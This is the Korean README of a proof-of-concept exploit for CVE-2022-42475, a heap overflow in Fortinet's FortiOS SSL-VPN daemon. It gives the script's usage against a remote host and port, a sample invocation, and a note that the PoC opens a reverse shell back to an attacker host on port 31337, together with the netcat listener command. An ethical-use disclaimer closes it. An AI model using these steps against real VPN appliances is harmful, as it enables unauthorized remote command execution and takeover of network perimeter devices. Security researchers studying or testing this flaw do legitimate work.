FortiOS SSL-VPN 버퍼 오버플로우 취약점

cve-2022-42475

https://nvd.nist.gov/vuln/detail/CVE-2022-42475 Fortinet SSLVPN 데몬의 힙 오버플로우를 익스플로잇하는 POC 코드

참고 사항

이것은 극히 운이 좋지 않으면 어디에서도 작동하지 않을 가능성이 높은 빠르고 대충 만든 POC입니다. 버전에 따라 다르며, 시스템마다 변경될 가능성이 높은 하드코딩된 오프셋이 포함되어 있습니다.

사용법

python3 cve-2022-42475.py rhost rport lhost 'command'

python3 cve-2022-42475.py 192.168.10.1 8443 10.10.1.1 'ls -la /'

리스너

이 POC는 포트 31337에서 리버스 셸을 설정하는 파이썬 명령을 사용합니다.

nc -lvnp 31337

면책 조항

이 프로젝트는 교육 및 윤리적 테스트 목적으로만 제작되었습니다. 사전 상호 동의 없이 대상을 공격하기 위해 이 도구를 사용하는 것은 불법입니다. 개발자는 어떠한 책임도 지지 않으며, 이 도구로 인한 오용이나 피해에 대해 책임을 지지 않습니다.

감사의 말

Alain M - Twitter : @plopz0r 님께 감사드립니다.